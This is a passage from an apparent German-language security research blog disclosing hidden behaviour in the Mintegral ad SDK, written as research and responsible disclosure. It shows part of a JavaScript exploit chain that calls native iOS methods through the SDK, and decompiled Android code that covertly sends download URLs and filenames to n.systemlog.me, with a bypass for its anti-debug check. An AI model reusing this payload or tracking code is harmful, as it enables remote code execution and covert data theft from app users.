        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Dieser Schritt ähnelt Schritt 1. Wir müssen die Klassenreferenz von UIApplication in jsonTitles.x speichern.

Schritt 5: Warnmeldung anzeigen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Dieser Schritt wirkt kompliziert, nutzt aber lediglich verschiedene Techniken aus den vorherigen Schritten. In Objective-C sähe der Code so aus:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

Damit haben wir gezeigt, wie sich per Remote Code Execution eine Warnmeldung anzeigen lässt. Die vollständige Payload finden Sie hier . Um die einzelnen Schritte nacheinander aufzurufen, haben wir ein Array mit Aktionen erstellt und jede Aktion im Callback window.WindVane.onSuccess ausgeführt – jeweils nachdem die vorherige Aktion abgeschlossen war.

Ein Video zeigt, wie sich Inhalte der Zwischenablage durch die Auslieferung des Exploits über eine schädliche Anzeige auslesen lassen.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Quellcode des JavaScript-Exploits

Wir haben bereits gesehen, wie das Mintegral SDK die native Remote-Code-Ausführung über JavaScript-Code ermöglicht. Dieser JavaScript-Code liegt jedoch vollständig in der Kontrolle von Mintegral. Interessanterweise lässt sich dasselbe aber auch mit interaktiven Anzeigen erreichen, die von den Werbetreibenden selbst erstellt werden. Bei den Anzeigen handelt es sich um JavaScript-basierte Webseiten.

Theoretisch kann ein Werbetreibender eine bestimmte Nutzergruppe oder bestimmte Geräte gezielt ansprechen, indem er eine schädliche Anzeige mit dem JavaScript-Exploit ausliefert.

Fazit

Wir können nur darüber spekulieren, warum Mintegral die Möglichkeit eingebaut hat, native Methoden remote über das SDK aufzurufen. Die Namen der Klassen, etwa MTGCommandDispatcher und MTGRemoteCommand, lassen jedoch darauf schließen, dass dies beabsichtigt war. Außerdem entfernte Mintegral den Code unmittelbar nach unserer Veröffentlichung, obwohl wir zu diesem Zeitpunkt noch nichts davon wussten.

Download-Tracking unter Android [Oktober 2020]

Überblick

In den beiden vorherigen Abschnitten dieses Forschungsartikels haben wir beschrieben, wie das Snyk-Security-Research-Team schädliches Verhalten im Mintegral SDK entdeckt hat, das sich auf iOS-Geräten ausnutzen lässt und zu Anzeigenbetrug, Datenlecks und Remote-Code-Ausführung (RCE) führen kann. Wir wollten weitere Untersuchungen zur Android-Version des SDK durchführen. Darum geht es in diesem Abschnitt.
Zusammengefasst sind dies unsere wichtigsten Erkenntnisse:

  1. Tracking von Download-URIs durch Google, das Browser- und App-Downloads betrifft, darunter reguläre Dateidownloads, E-Mail-Anhänge und Google Docs-Links.

  2. Tracking aller APK-Downloads, unabhängig davon, ob sie organisch zustande kamen.

Diese Daten werden an die Server von Mintegral übermittelt.

Beobachtetes Verhalten

Beim Herunterladen eines Google Docs-Links bemerkten wir, dass die App folgende Anfragen an https://n.systemlog.me sendete:

HTTP-Anfrageeditor im Stil von Burp Suite mit einer POST-Anfrage, Headern und URL-kodierten Formulardaten

Es handelt sich um denselben Endpunkt, der im iOS SDK verwendet wurde, um Daten an den Mintegral-Server zu übermitteln. Die Nutzdaten sind kodiert. Mithilfe der Dekodierungslogik im SDK-Binary können wir jedoch Folgendes auslesen:

p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Es gibt zwei weitere kodierte Parameter: clever und dvi. Nachdem wir auch diese dekodiert hatten, fiel uns etwas Interessantes auf:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Wie zu sehen ist, wird die URL des Google Sheets, das wir aus der Google Drive-App heruntergeladen haben, in der Datei ul und der Name der heruntergeladenen Datei im Feld kw an das Backend übermittelt. dvi enthält einige Gerätedaten.

Mögliche Verwendungszwecke

Im iOS-Szenario wurden betrügerische, doppelte Klicks vom Gerät des Clients an die Server von Mintegral und anschließend an den Attributionsanbieter (MMP) gesendet. In diesem Fall werden heruntergeladene oder installierte APKs an die Server gemeldet und könnten dazu verwendet werden, serverseitige Klicks zu generieren. Das folgende Diagramm zeigt den Datenfluss:

Diagramm eines schädlichen Mintegral-SDKs in einer betroffenen App, das von Mintegral den Namen eines APK-Pakets erhält und gefälschte Klickdaten an einen Attribution-Anbieter sendet.

Alphab-Modul

Das oben beschriebene Verhalten ist im Alphab-Modul implementiert, das Mintegral als „Optimierungspaket“ bezeichnete:

Integrationsleitfaden für das Mintegral-SDK unter Android. „SDK-Initialisierung“ ist ausgewählt; eine Tabelle zeigt herunterladbare Pakete mit Beschreibungen.

Nach unserer Veröffentlichung wurde das Modul von der Mintegral-Website entfernt und scheint nicht mehr Bestandteil des ausgelieferten SDK zu sein. Wir haben das SDK dekompiliert und den für dieses Verhalten verantwortlichen Code gefunden.

Klasse AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */
    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */
    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */
    public static String f2c = "decode error";

    /* renamed from: d */
    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */
    /* compiled from: AlphaCommonConst */
    public static class C0000a {

        /* renamed from: a */
        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */
        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Diese Klasse enthält zahlreiche hartcodierte Konstantendefinitionen. Einige Strings sind mit einem eigenen, auf Base64 basierenden Kodierungsverfahren verschleiert, das sich in der Klasse AlphabBase64Util befindet – ähnlich wie bei der iOS-Version.

Nach dem Dekodieren erhalten wir folgende Strings:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Diese werden in den Initialisierungsschritten verwendet, die wir als Nächstes besprechen.

Alphab-Receiver

In der Methode init() der Klasse AlphabReceiver wird der BroadcastReceiver mit einigen der zuvor verschleierten Strings initialisiert:

 try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

Ersetzt man diese durch die dekodierten Strings, sieht der Code so aus:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
		.invoke(context, alphab_receiver, intent_inst);

Mithilfe der Java Reflection API wird ein neuer Broadcast-Receiver erstellt, der auf zwei Arten von Intents wartet:

  • android.intent.action.PACKAGE_ADDED – ein systemweiter Intent, der ausgelöst wird, wenn ein Paket auf dem Gerät installiert wird.

  • alphab_net_debug_action – ein benutzerdefinierter Intent, der offenbar Netzwerk-Debugging erkennt.

Beim Empfang des Intents erstellt die Klasse AlphabReceiver eine Methode namens ParseAndLoad():

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Dieses Feld wird später in einer Bedingung verwendet:

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Die Dekompilierung der beiden anderen Methoden in dieser if-Klausel zeigt, dass sie prüfen, ob die aktuelle Netzwerkverbindung über einen WLAN-Proxy oder einen VPN-Client läuft. Damit soll verhindert werden, dass die App debuggt und ihr Datenverkehr mitgeschnitten wird. Dieser Intent ermöglicht es den SDK-Entwicklern, diese Anti-Debugging-Funktion zu umgehen.

Alphab-Observer

Ähnlich wie beim Receiver ist auch der Initialisierungsblock dieses ContentObserver in Reflection und verschleierten Strings verborgen:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Nach der Bereinigung erhalten wir Folgendes:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
	.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Das bedeutet, dass der Content-Observer registriert wird, um auf die URI content://downloads zu warten. Er wird ausgelöst, sobald eine Datei auf das Gerät heruntergeladen wird.

Er fragt den Android-Download-Manager nach öffentlichen Downloads ab:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

Nach dem Dekodieren des Strings erhalten wir Folgendes:

cursor = aVar.f64b.getContentResolver()
		.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Erfüllt die Download-URL eine der folgenden Bedingungen, wird ein Bericht an https://n.systemlog.met/stlog gesendet:

  1. Endet mit apk – bei manuellen Downloads.

  2. Verweist auf ein Paket von com.android.vending oder die URL enthält google.com – damit werden Google-Apps sowie Browser-URLs erfasst, die der Bedingung entsprechen.

Unten sehen Sie den Codeausschnitt, der die Anfrage an den Server unter https://n.systemlog.met/stlog sendet.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

Das entspricht:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

Hier sehen wir die Parameter, die auch in der aufgezeichneten Anfrage unseres Beispiels vorkamen:

    static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p – Paketname der herunterladenden App

  • v – App-Version

  • ul – URL der heruntergeladenen Datei

  • kw – Dateiname der heruntergeladenen Datei

  • fl – Dateigröße

Demo-App

Android-App-Bildschirm mit dem Titel „Meine Anwendung“ und Schaltflächen für Schreibberechtigungen, Debug-Einstellungen, das Herunterladen eines Google-Logos und das Herunterladen einer APK.

Um dieses Verhalten zu demonstrieren, haben wir eine Demo-App erstellt, mit der wir Folgendes tun konnten:

1. Das Net-Debug-Flag per Reflection aktivieren, um die Anti-Debugging-Logik zu umgehen

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Eine Datei von einer URL herunterladen, die google.com enthält

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Eine Datei von einer URL herunterladen, die mit apk endet

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

Wir haben die ausgehenden Anfragen mithilfe eines HTTP-Proxys aufgezeichnet. Nachdem wir auf eine der Download-Schaltflächen geklickt hatten, konnten wir sehen, wie eine Anfrage an den Endpunkt des Servers gesendet wurde:

Burp Suite Community Edition mit einer abgefangenen POST-Anfrage an n.systemlog.me und den Anfrage-Headern sowie codierten Formulardaten

Dieses Video zeigt das Tracking-Verhalten:

Malicious Mintegral SDK Leaks Data on Android

Zeitleiste

Datum

5. August

Das Snyk-Security-Research-Team entdeckt übermäßige Datenerfassung und Klick-Hijacking im Mintegral iOS SDK

17. August

Snyk meldet die Erkenntnisse verantwortungsvoll an Apple

24. August

Snyk veröffentlicht die Erkenntnisse zu Sour Mint unter iOS

25. August

Mintegral veröffentlicht eine Stellungnahme, in der die Vorwürfe gegen das SDK zurückgewiesen werden

3. September

IronSource kündigt an, Mintegral aus seiner Mediation-Plattform zu entfernen

3. September

Mintegral veröffentlicht Version 6.5.0.0 des iOS SDK und entfernt die schädliche, versteckte Komponente _CXX_CXX_OperationPKTask

4. September

Die MoPub-(Twitter-)Mediation-Plattform kündigt an, Mintegral auf ihrer Plattform die Zertifizierung zu entziehen

4. September

Mintegral kündigt an, sein SDK als Open Source bereitzustellen

4. September

Das Snyk-Security-Research-Team entdeckt eine versteckte Download-Tracking-Funktion in der Android-Version des SDK

9. September

Snyk meldet die Erkenntnisse zum Android SDK verantwortungsvoll an Google

10. September

Mintegral veröffentlicht Version 6.6.0.0 des iOS SDK und entfernt die Backdoor-Komponente MTGRemoteCommandParser

22. September

Snyk erhält den Quellcode der Version 6.6.0.0 des iOS SDK und führt eine Diff-Analyse durch

23. September

Snyk entdeckt, dass Mintegral das Google-Download-Tracking-Modul aus seinem Android SDK entfernt hat

30. September

Durch eine Diff-Analyse entdeckt Snyk eine Backdoor in der iOS-Version des SDK, die RCE ermöglicht

2. Oktober

Snyk meldet neue Erkenntnisse zu iOS verantwortungsvoll an Apple

3. Oktober

Apple benachrichtigt betroffene Publisher und fordert sie auf, den RCE ermöglichenden Code zu entfernen

15. Oktober

Snyk veröffentlicht die neuesten Erkenntnisse zu iOS und Android

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Ihr Schwachstellen-Backlog ist keine technische Schuld mehr, sondern eine Angriffsfläche

Ein wachsender Schwachstellen-Backlog ist mehr als eine technische Altlast: Er ist eine Angriffsfläche. Erfahren Sie, warum veraltete Risikoeinschätzungen, automatisierte Angreifer und verkettete Findings einen neuen Ansatz erfordern.